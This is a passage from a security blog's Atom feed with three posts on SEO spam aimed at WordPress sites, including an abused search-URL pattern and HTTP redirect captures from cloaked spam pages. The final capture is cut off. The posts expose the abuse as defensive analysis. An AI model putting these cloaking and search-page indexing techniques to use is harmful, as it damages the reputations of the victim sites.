<p>This is just dumb. <em>Any fool can use WordPress to create a website and, literally, thousands do.</em> But just because WordPress lets you create a web page without having to know squat about HTML, CSS, and JavaScript <em>doesn&rsquo;t mean you should.</em> Unless you&rsquo;re careful, there will be consequences.</p>
<p>You see, you can&rsquo;t let a chunk of software do your thinkin&rsquo; for you - because you never know when that software is going to do something <em>stoopid</em><sup><a href='#footnote'>1</a></sup>. Worse still, if you go ahead and spew out a WordPress site while having no idea how any of this stuff works, you likely <em>won&rsquo;t even notice</em> when WordPress does that stoopid thing.</p>
<p><em>What stoopid thing has WordPress done now?</em></p>
<p>Simple. By default, the results of the built-in search for WordPress returns pages that aren&rsquo;t marked with a <code>&lt;meta name='robots' content='noindex'&gt;</code> tag.</p>
<p>If you&rsquo;re looking at that and thinking <em>hmmm&hellip; gibberish</em> then let me explain. HTML, the language used to create web pages, is what is known as a &ldquo;markup language.&rdquo; Essentially, as a markup language, it takes the text of the web page, and adds a number of special tags to &ldquo;markup&rdquo; the text in a way that tells your browser how to display content on the page. When I want to create <em>italics</em>, the text to be italicized is placed between two special tags: <code>&lt;i&gt;Italicize this&lt;/i&gt;</code>. Back in the good old / bad old days, word processors worked this way as well&hellip; until the advent of the WYSIWYG (What You See Is What You Get) interface. I have both happy and horrific memories of the tags in WordPerfect (an ancient, non-WYSIWYG word processing program I used 25 or so years ago&hellip;)</p>
<p>There are several special markup tags in HTML that have nothing to do with formatting the webpage itself, but are used for other purposes. One of those, the <code>&lt;meta&gt;</code> tag, is used to pass along various types of information about the page itself. These <code>&lt;meta&gt;</code> tags are used to describe keywords about the page, or to give directions to various tools that might &ldquo;consume&rdquo; the page for various purposes. One of those tools would be a search engine, like Google, that would scan the page so that it can be indexed in a way that other people can find it.</p>
<p>Which leads us to the &ldquo;noindex&rdquo; <code>&lt;meta&gt;</code> tag. Sometimes, you just don&rsquo;t want a search engine to index a page from your site. There are lots of reasons you might want to do this: perhaps the page is transitory (a page generated from a search or for printing) or a different version of a standard page created only for mobile browsers. Generally speaking, something like the transitory results of a search page <em>should not</em> be indexed. It just doesn&rsquo;t make much sense for&hellip; well&hellip; almost every site, so search results should be marked with a <code>&lt;meta name='robots' content='noindex'&gt;</code> tag by default. If you have a specific reason for wanting your search results to be indexed, then you would probably have the ability to figure out how to disable this default behavior.</p>
<p><em>tl;dr: The default behavior for search results should be <code>noindex</code>.</em></p>
<p>But it isn&rsquo;t.</p>
<p>Not in WordPress.</p>
<p>Nope.</p>
<p>Thank you, WordPress.</p>
<p><em>&ldquo;What&rsquo;s the big deal,&rdquo;</em> I hear you ask? <em>&ldquo;So a bunch of &lsquo;Net yokels have their search result pages indexed by Google&hellip;&rdquo;</em></p>
<p>But it is a big deal.</p>
<p>A very big deal. Check this out:</p>
<p><img src="ydbioy.png" alt="A very big deal"></p>
<p><em>This is why we can&rsquo;t have nice things.</em> What do all of these sites have in common? <em>They&rsquo;re run on WordPress.</em></p>
<p>Every time WordPress makes a stoopid mistake like this, there&rsquo;s a line of scammy, scummy, little bastards salivating to turn it to their advantage. In this case, the part of <em>the bastards</em> is being played by purveyers of &ldquo;research&rdquo; papers trying to boost the search engine placement of their site using less-than-legitimate methods. By getting their &ldquo;buy research papers cheap&rdquo; site mentioned on LOTS of legitimate sites, they&rsquo;re seen as more popular and therefore get placed closer to the top of search results. It&rsquo;s called Search Engine Optimization (SEO), and this is a pretty sleezy way to do it. (Note: there are actually legitimate SEO methods - <em>this isn&rsquo;t one of them.</em>)</p>
<p>In this case <em>(I believe)</em> here&rsquo;s how it works.</p>
<ul>
<li>The scammer adds a <em>triggering</em> link to a site that gets indexed by Google
<ul>
<li>This link is a URL to a mainstream WordPress-based site, with parameters that trigger a search page with the information for the site the scammer wants to boost</li>
<li><code>http://site_running_wordpress.com/?s=lots_of_crap_including_their_name_and_url</code></li>
</ul>
</li>
<li>Google spiders the site, sees the triggering link, and adds it to the list of pages to index</li>
<li>Google eventually spiders the link (with the search parameters attached)</li>
<li>The default behavior of WordPress is to include the search terms <em>on the generated search page</em>.</li>
<li>Because the WordPress search results page isn&rsquo;t tagged as <code>noindex</code> the page is added to Google&rsquo;s index for the legitimate site</li>
<li>The bastards remove the link, <em>rinse and repeat</em></li>
</ul>
<p>Because the page content is generated by the URL, every time Google returns to check the page, it will see that content again. As far as Google is concerned, that search page (and all of that SEO stuff) is part of the victim site. <em>FOREVER.</em></p>
<p>So&hellip; what&rsquo;s to be done? Well, obviously, the folks at WordPress need some learnin&rsquo;. (Please note: As my buddy <a href="https://www.cutawaysecurity.com/">Don &ldquo;Cutaway&rdquo; Weber</a> always says: Some folks need to get education from a book, others need to get learnin&rsquo; from a stick&hellip;) Here&rsquo;s the stick: <em><strong>Yo! WordPress! Why the hell do you not mark search pages <code>noindex</code> by default? Seriously!?!?</strong> You know all those people who you&rsquo;ve convinced to &ldquo;create any kind of website with no code, no manuals, and no limits?&rdquo; You&rsquo;re potentially placing their reputations at the mercy of any unscrupulous jerk who wants to use their site to boost the search engine placement of their less-than-legitimate business. Not cool. Not cool at all.</em></p>
<p>As mitigation, you can use a plug-in like Yoast SEO that automatically marks search pages <code>noindex</code> (as God intended) until the WordPress devs get their heads screwed on right and fix<sup><a href="#footnote2">2</a></sup> this.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 2, 2021</p>
<p id="footnote"><sup>1</sup> This is how we spell "stupid" 'round here. Generally, for effect. There's "stupid" and then there's "stoopid."</p>
<p id="footnote2"><sup>2</sup><b>UPDATE (3/3/2021):</b> It looks like someone else has already pointed this out to the WordPress folks and they've fixed it in their upcoming (next week!) release, 5.7. See <a href=https://core.trac.wordpress.org/ticket/52457>here</a> for the ticket tracking this issue.</p>
<p>I&rsquo;ve done some checking, and if a <code>noindex</code> meta tag appears on these pages, Google (and other search engines) <em>should</em> remove the pages from their index. That&rsquo;s good news for the Internet, and bad news for the SEO hackerz.</p>
<p>I&rsquo;m heartbroken for them.</p>
<p>Really.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Wait... Wut?]]></title>
            <link href="https://yourflyis0pen.com/article/wait-wut/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="related" type="text/html" title="A Miracle In University Park" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="related" type="text/html" title="Pwned Me a N00b" />
            
                <id>https://yourflyis0pen.com/article/wait-wut/</id>
            
            
            <published>2016-09-15T16:00:06-06:00</published>
            <updated>2016-09-15T16:00:06-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>With age, there comes a certain level of acceptance of our limitations. Some of those limitations are associated with growing older - i.e. my career as a Chippendales dancer likely won&rsquo;t be &ldquo;taking off&rdquo; anytime soon. Some of those limitations have been with us our entire life: I can readily admit that most of the time, I&rsquo;m not the brightest bulb in the box.</p>
<p>I can, however, generally wrap my brain around many of the scams and cons that make up the base of what has come to be known as &ldquo;cyber attacks&rdquo; (drink!).</p>
<p>What I found today is different. I haven&rsquo;t got a clue.</p>
<p>Having had a few &ldquo;run-ins&rdquo; with some of the <a href="https://yourflyis0pen.com/article/do-more-research/">fine</a>, <a href="https://yourflyis0pen.com/article/merica/">upstanding</a> <a href="https://yourflyis0pen.com/article/miracle/">folks</a> who supply pre-written term papers to spoiled post-pubescents with more money than ethics, I was trolling around the dark underbelly of the Internet in search of SEO hacks.</p>
<p>Search Engine Optimization (or SEO) is a term for a bag o&rsquo;tricks designed to make your website appear higher in search engine listings. Some of these &ldquo;optimizations&rdquo; are totally legit (i.e. using &ldquo;META&rdquo; tags in the header of your web page to highlight specific keywords from your content) and some are&hellip; well&hellip; let&rsquo;s just say that they&rsquo;re of &ldquo;questionable legality.&rdquo;</p>
<p>One of the strongest parameters controlling your site&rsquo;s placement in search results is the number of other sites that link to you. Sites with lots of inbound links are viewed as being more popular and therefore rank higher in search engine results. The algorithms behind search engine rankings also take into account the popularity of the sites that link to yours&hellip; creating a sort of unholy bouillabaisse of circular references. Be that as it may, this &ldquo;popularity of the sites linking to you&rdquo; thing is very important because, back in the day, scammy folks used to set up sites containing nothing but links to their other sites&hellip; as a means of driving their search engine ranking higher. By limiting an inbound link&rsquo;s SEO &ldquo;boost&rdquo; based on the popularity of the site it comes from, these &ldquo;link-farm&rdquo; sites became useless&hellip; because a site containing pages of nothing but links to other sites isn&rsquo;t very popular&hellip; unless your name is&hellip; well&hellip; Google.</p>
<p>So what&rsquo;s a poor, morally bankrupt purveyor of pre-written research papers to do? How can they find a way to differentiate themselves from all of the other poor, morally bankrupt purveyors of pre-written research papers? They could try to get one hugely popular site to link to them, or they could somehow get links on LOTS of smaller sites&hellip;</p>
<p>And so, these bastions of business acumen spend years toiling to provide their clientele with superior products and service. In turn, their clients - bathed in the almost effervescent aura of customer satisfaction - throw caution to the wind and write glowing reviews (complete with links) on their personal blogs, in spite of the fact that they are, essentially, admitting to purchasing their diploma rather than&hellip; you know&hellip; actually thinking.</p>
<p>Nah&hellip; just kidding. <em>They hack a bunch of sites.</em></p>
<p>In a strangely eerie parallel to their entire business model, these lowlifes take the easy road to search engine ranking by hacking into sites and creating links back to themselves. (Important note: it isn&rsquo;t just the term paper jockeys doing this stuff&hellip; pretty much every questionable ‘net &ldquo;business&rdquo; out there - from &ldquo;cheap cigarettes&rdquo; to &ldquo;pharma&rdquo; to &ldquo;genuine &rsquo;nfl&rsquo; jerseys&rdquo; - is doing SEO boosting hacks&hellip;)</p>
<p><em>&ldquo;Hold on a dang second&hellip;,&rdquo;</em> I hear you cry. <em>&ldquo;Isn&rsquo;t that like a burglar leaving a note with their name and address on it at the scene of the crime?&rdquo;</em></p>
<p>That&rsquo;s EXACTLY what it is like - and yet they still get away with it. Why? Because, apparently, I&rsquo;m the only person in the world who gives a crap about this stuff&hellip; (Important note #2: Sometimes the links just appear. Who knows how. They just do. Or&hellip; sometimes the links are placed by competitors. Yeah. That&rsquo;s it. Competitors. EEeeevil Competitors&hellip;)</p>
<p>But I digress&hellip;</p>
<p>Today, I happened to notice that a bunch of unrelated sites had PDF files added to them that appeared to be advertising term paper &ldquo;services.&rdquo; I was intrigued, so I grabbed a few.</p>
<p>That&rsquo;s where the puzzle began. You see, I simply don&rsquo;t understand what&rsquo;s going on. But, before I go on to describe what I don&rsquo;t know, let me start with what I do know:</p>
<ol>
<li>The hacked sites are all running WordPress (&ldquo;The WebApp Hacker&rsquo;s BFF&rdquo;™)</li>
<li>These files are absolutely meant for Google&rsquo;s consumption. The only way that you can get the file is if the User-Agent on the request matches GoogleBot. (English translation: Every time you request something from a web server, your browser identifies itself so the server can - potentially - deliver content that may be tailored to the type of browser you&rsquo;re using - ex. a browser on a mobile phone might get different content from a browser for a system with a larger screen, like a desktop computer. The browser does this by passing along something known as a &ldquo;User-Agent&rdquo; string peculiar to the type/version of browser you&rsquo;re using. When Google indexes web pages for their search engine, they use a tool that visits websites - known as a &ldquo;spider.&rdquo; This tool, which goes by the name &ldquo;GoogleBot,&rdquo; uses a very specific &ldquo;User-Agent&rdquo; string that can be easily identified.)</li>
<li>The PDF files appear to be generated with <a href="http://tcpdf.org/">TCPDF</a>, a PHP library that is often used for generating PDF files from web applications. HOWEVER: The files themselves appear to be static. TCPDF actually generates a date/time string when the file is created and edited - these DO NOT change when grabbing a file multiple times. Initially, I thought that TCPDF might have been installed on the site as part of the hack to generate PDFs on the fly, but having grabbed the same file repeatedly and seen no difference, I don&rsquo;t think it is.</li>
</ol>
<p>But what doesn&rsquo;t make sense is this: The PDF files contain NO LINKS. <em>Not one. None. Zilch. Zip. Zero. Nada&hellip;</em></p>
<p>What is the point of an SEO hack without links?</p>
<p>Maybe I&rsquo;m missing something. <em>I have to be missing something.</em></p>
<p>I even asked <a href="http://blog.didierstevens.com/">Didier Stevens</a> - who has probably forgotten more about PDF files than I ever knew - to take a look. He confirmed what I was thinking: these files have no links&hellip; and therefore no real SEO value.</p>
<p>You can take a look for yourself. I&rsquo;ve posted one of the files (zipped) <a href="wait-wut.zip">here</a>. (Note: While I&rsquo;ve looked at this thing six ways to Sunday and seen nothing malicious, I make no guarantees that opening it won&rsquo;t blow up your computer, kill your dog, and turn you sterile&hellip; You&rsquo;ve been warned.)</p>
<p>I don&rsquo;t get it&hellip;</p>
<p>Why go to the trouble of hacking a website just to install these lame PDF files? On top of that, there is evidence that someone has been going around and placing comment spam with links to these files. What&rsquo;s the point? Remember: These files are only going to be seen by GoogleBot, so that places a huge &ldquo;fence&rdquo; around their potential uses.</p>
<p>Anyone have an idea?</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
September 14, 2016</p>
<p><strong>UPDATE (September 15, 2016):</strong> Ok, after doing a little more digging, I think I may have a handle on what is going on here. Before I get into describing what I think the point of all of this may be, let me explain some additional details that I&rsquo;ve found that led me to my conclusion.</p>
<p>The first clue came when I did a little additional searching using Google&rsquo;s &ldquo;site&rdquo; parameter (to lock my search to the site in question) coupled with &ldquo;filetype:pdf&rdquo;. (Note: It appears that the PDF files added by the attacker are the only PDF files on this site&hellip;) I was somewhat shocked to see that Google had indexed 2,500 &ldquo;PDF&rdquo; files added to the hacked site. Yes, you read that right&hellip; The content added by the attacker is somewhere around 20 times the number of pages of the site&rsquo;s original content.</p>
<p>The next clue came when I followed one of the links from the Google search page and ended up triggering this cascade of redirects:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>HTTP/1.1 302 Moved Temporarily
</span></span><span style="display:flex;"><span> Redirect to: http://lnkgo.net/zHU2hoJ
</span></span><span style="display:flex;"><span>Date: Thu, 15 Sep 2016 04:04:19 GMT
</span></span><span style="display:flex;"><span>Server: Apache
</span></span><span style="display:flex;"><span>Location: http://lnkgo.net/zHU2hoJ
</span></span><span style="display:flex;"><span>X-Powered-By: PleskLin
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 20
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET http://lnkgo.net/zHU2hoJ
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 301 Moved Permanently
</span></span><span style="display:flex;"><span> Redirect to: http://www.paperhelp.org/?pid=7783
</span></span><span style="display:flex;"><span>Date: Wed, 14 Sep 2016 21:28:03 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.2.15 (CentOS)
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.4.45
</span></span><span style="display:flex;"><span>Location: http://www.paperhelp.org/?pid=7783
</span></span><span style="display:flex;"><span>Content-Length: 0
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET http://www.paperhelp.org/?pid=7783
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: PHPSESSID=t5chg9l1eu7qilq6qgnbpds8g5; partner_id=7783; un=1; client_start_time=1473888484; client_country=US; client_ip=162.217.121.125
</span></span></code></pre></div><p>Note: I tried it multiple times with multiple files, always ending up at paperhelp.org&hellip;</p>
<p>So, functionally, here&rsquo;s what seems to be going on:</p>
<ol>
<li>The attackers gain access to a WordPress site using some flaw du jour affecting WP</li>
<li>The attackers then alter the WP code to perform the following actions:
<ul>
<li>When GoogleBot comes calling, it serves up a PDF file containing a &ldquo;potential term paper topic&rdquo; as its title. There are LOTS of these &ldquo;PDFs&rdquo; on a given hacked site.</li>
<li>If someone browses to the site, looking for one of those PDF files, and has Google (and - potentially - other search engines) as a Referrer, it redirects to lnkgo.net (which, in turn, redirects to paperhelp.org)</li>
<li>Anything else&hellip; let it fall through to the site itself&hellip; in the case of the PDF files - that don&rsquo;t actually exist at the location they&rsquo;re being requested from - the site returns a normal HTTP 404 error.</li>
</ul>
</li>
<li>The attacker then goes about using &ldquo;traditional&rdquo; comment spam to &ldquo;seed&rdquo; the PDF links into Google&rsquo;s search database.</li>
</ol>
<p>So&hellip; none of this was making sense because I was expecting this to be &ldquo;standard&rdquo; SEO hacking - but this isn&rsquo;t a &ldquo;standard&rdquo; SEO hack. I think what&rsquo;s going on here is something like the &ldquo;spear phishing&rdquo; version of SEO hacking.</p>
<p>Essentially, this seems to be an attempt to plaster Google with a metric-crap-tonne of individual PDF files, each containing an &ldquo;essay-topic-like&rdquo; title, and enough keywords to potentially get noticed by someone desperately searching for information on that essay topic. Clicking on the search engine link will then fast-forward you to the term-paper-for-sale site.</p>
<p>Now&hellip; far be it from me to even begin to question how the fine, upstanding folks at paperhelp.org shadily advertise their already relatively shady business. (I know that they&rsquo;re probably going to be reading this at some point, so please indulge me while I save them the trouble of denying all of this: &ldquo;Of course you didn&rsquo;t have anything to do with these files appearing on these hacked systems. Of course it&rsquo;s just a miraculous coincidence that clicking on the links in Google&rsquo;s search results ended up dumping me out at your website. The Internet is filled with miraculous coincidences like that&hellip;&rdquo;) Anyhoo&hellip; I&rsquo;m thinkin&rsquo; that this &ldquo;spear-SEOing&rdquo; will only work if you have a broad enough list of potential essay topics and if you get enough PDF files out there (and noticed by the search engines&hellip;) - and, most importantly, those sites stay hacked. Unfortunately&hellip; all of that is going to quickly fall apart as I spend the next few days exercising Google&rsquo;s search capabilities and notifying site owners.</p>
<p>Sorry, paperhelp.org. Perhaps, like the fine folks at SpeedyPaper, you shoulda&rsquo; done a bit more research.</p>
<p><em>P.S. - Since I&rsquo;m pointing various government agencies as well as those whose sites have been hacked at this page, I want to state: I&rsquo;ve got full logs of everything I&rsquo;ve found, just in case anyone out there would like to (legally) stomp on these bastards.</em></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[A Miracle In University Park]]></title>
            <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="related" type="text/html" title="Pwned Me a N00b" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
            
                <id>https://yourflyis0pen.com/article/miracle/</id>
            
            
            <published>2016-09-08T15:32:20-06:00</published>
            <updated>2016-09-08T15:32:20-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>We had our carpets cleaned yesterday. If anything is to blame, it&rsquo;s probably that.</p>
<p>Our house is now a mildly humid wasteland of locations I&rsquo;m currently not allowed to walk, so instead of sitting up in my nicely appointed office, I&rsquo;ve been banished to the basement (the only place in the house - besides the four-year-old&rsquo;s room - that didn&rsquo;t get cleaned and isn&rsquo;t all&hellip; well&hellip; moist.)</p>
<p>So I&rsquo;m sitting in the basement watching a dumbass mouse, that somehow ended up in our window-well, beat his tiny little brains out jumping against the window rather than climbing up the stick I leaned down in there earlier today as an escape path for him.</p>
<p>It&rsquo;s all left me in what can best be described as a mood.</p>
<p><em><strong>CLIMB THE FRICKIN&rsquo; STICK YOU IDIOT!</strong></em></p>
<p>Anyhoo&hellip; Either because of the swampy carpets or Jumpy the Wonder Mouse™, I&rsquo;m in a mood, and what better way to expend some pent-up moodiness than to screw with Internet Denizens of Questionable Morals (IDQMs for short).</p>
<p><img src="jumpy_collage.jpg" alt="A stoopid mouse"></p>
<p>NOTE: Above, you&rsquo;ll find a lovely collage of action shots of &ldquo;Jumpy&rdquo;. You&rsquo;re welcome.</p>
<p>Having had more than a bit of fun earlier in the summer with one of my favorite IDQMs, SpeedyPaper, I decided to see if I could make their life a little more interesting.</p>
<p><em>[A recap: Earlier this summer, I found that someone had hacked several websites - The U.S. Capitol&rsquo;s Virtual Tour, The Navy League (a charitable organization that supports the US Navy and Coast Guard), and the Holiest of Holies: the website of Skyline Chili. In each instance, the hackers had left behind &ldquo;SEO&rdquo; links that round-robin redirected anyone following them to several purveyors of &ldquo;term paper assistance.&rdquo; I notified the affected site owners and also called out SpeedyPaper (a &ldquo;beneficiary&rdquo; of these links), via their Twitter account, to ‘splain just exactly how links leading to their website had &ldquo;appeared&rdquo; on these hacked sites. You can read the details of those sagas <a href="https://yourflyis0pen.com/article/do-more-research/">here</a> and <a href="https://yourflyis0pen.com/article/merica/">here</a>.]</em></p>
<p>Today, I decided to do a Google search for &ldquo;site:.org speedy paper term&rdquo;. This locks my search to the &ldquo;.org&rdquo; top level domain (TLD) and finds pages that contain the words &ldquo;speedy,&rdquo; &ldquo;paper,&rdquo; and &ldquo;term.&rdquo;</p>
<p>Hey&hellip; lookie there!</p>
<p><img src="speedypaper.png" alt="SpeedyPaper AGAIN!"></p>
<p>Aaaaand&hellip; another site joins the &ldquo;research paper SEO&rdquo; hit parade. This time, it&rsquo;s the site for the Town of University Park, Maryland.</p>
<p>Clicking on that link created the following cascade of internet linkage:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://www.upmd.org/index.php/lead-research-paper/
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: PHPSESSID=646b4155b76b9632d52a3d64becb076b
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=upmd.org&amp;utm_referrer=http%3A%2F%2Fupmd.org%2Findex.php%2Flead-research-paper%2F&amp;utm_keyword=lead+research+paper
</span></span><span style="display:flex;"><span>Date: Thu, 08 Sep 2016 16:32:49 GMT
</span></span><span style="display:flex;"><span>Server: Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch11 mod_ssl/2.2.3 OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/5.2.0-8+etch11
</span></span><span style="display:flex;"><span>Location: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=upmd.org&amp;utm_referrer=http%3A%2F%2Fupmd.org%2Findex.php%2Flead-research-paper%2F&amp;utm_keyword=lead+research+paper
</span></span><span style="display:flex;"><span>Content-Length: 0
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=15, max=100
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=upmd.org&amp;utm_referrer=http%3A%2F%2Fupmd.org%2Findex.php%2Flead-research-paper%2F&amp;utm_keyword=lead+research+paper
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch, br
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __cfduid=dee0a566f25b25cba8a72327465573e201473350225; spv=eyJpdiI6IlJ3T3RJeFNqMHlmSnZEXC9kZ0R3bXlBPT0iLCJ2YWx1ZSI6IkNUbTM1SW1qUmdnaFQrQUxTZFgwK0E9PSIsIm1hYyI6ImQ5YWM3NjAyMjU2NTQ3NWMyYTQwODI2MDZlYzE5OTE2NDAzNWY2MzUxZDI1ODNlNjEyNDU0MmJmOTYwMzE5NTYifQ%3D%3D; spu=eyJpdiI6InE5S001V0F4NnR1VFF5OEQ5eE5KQ3c9PSIsInZhbHVlIjoiMlFpaWQzY3BnY0VMNTdQUWY5TlwveXc9PSIsIm1hYyI6IjJkNmU0ZjM3ZTQ1ZWQyY2I3ODRhZDExZWJlYzA4OGM1YjgwM2EwMDQ0ZTRlYzA1MzU1MTRjMjRjYWIzNTM2MTkifQ%3D%3D; spvis=eyJpdiI6IkRFcWdzQlRtdmJPdHEzSmVkRUwzN0E9PSIsInZhbHVlIjoiemYyb090MGlucFFlZjZ4VkxyZTJ1QT09IiwibWFjIjoiMDk4ZDljMzYwM2E0NzdjZGM2ZTJhYTFmNjdkNGQwODA4OTM2MDAyMjJiZmU3NTdiMTI0MDkzMmVhNTc0M2FmMiJ9; laravel_session_speedypaper=eyJpdiI6IlV2WUJYVDFhUXVqdERwZUppT1dXS0E9PSIsInZhbHVlIjoiVWlYVmhwK0Uxa2ZiV1ZpSjRmbGFBM2pjU09id2ZCeVRGR040T2Y3K1BNYTBaVjVIelJ4eHIrRXBCc1ZYNFBQQ1VUUjczK0NMZGZrcGVmbDJWdlVaUFE9PSIsIm1hYyI6ImFhMjQ1ZTFkMWJmMWI1ZDg0ZWFlNmM0MGI0N2JlY2RlZDM1ZDYyZDg5OTMwZDVjZWU4YjRhMjNkYzlhNDhkN2QifQ%3D%3D
</span></span><span style="display:flex;"><span>
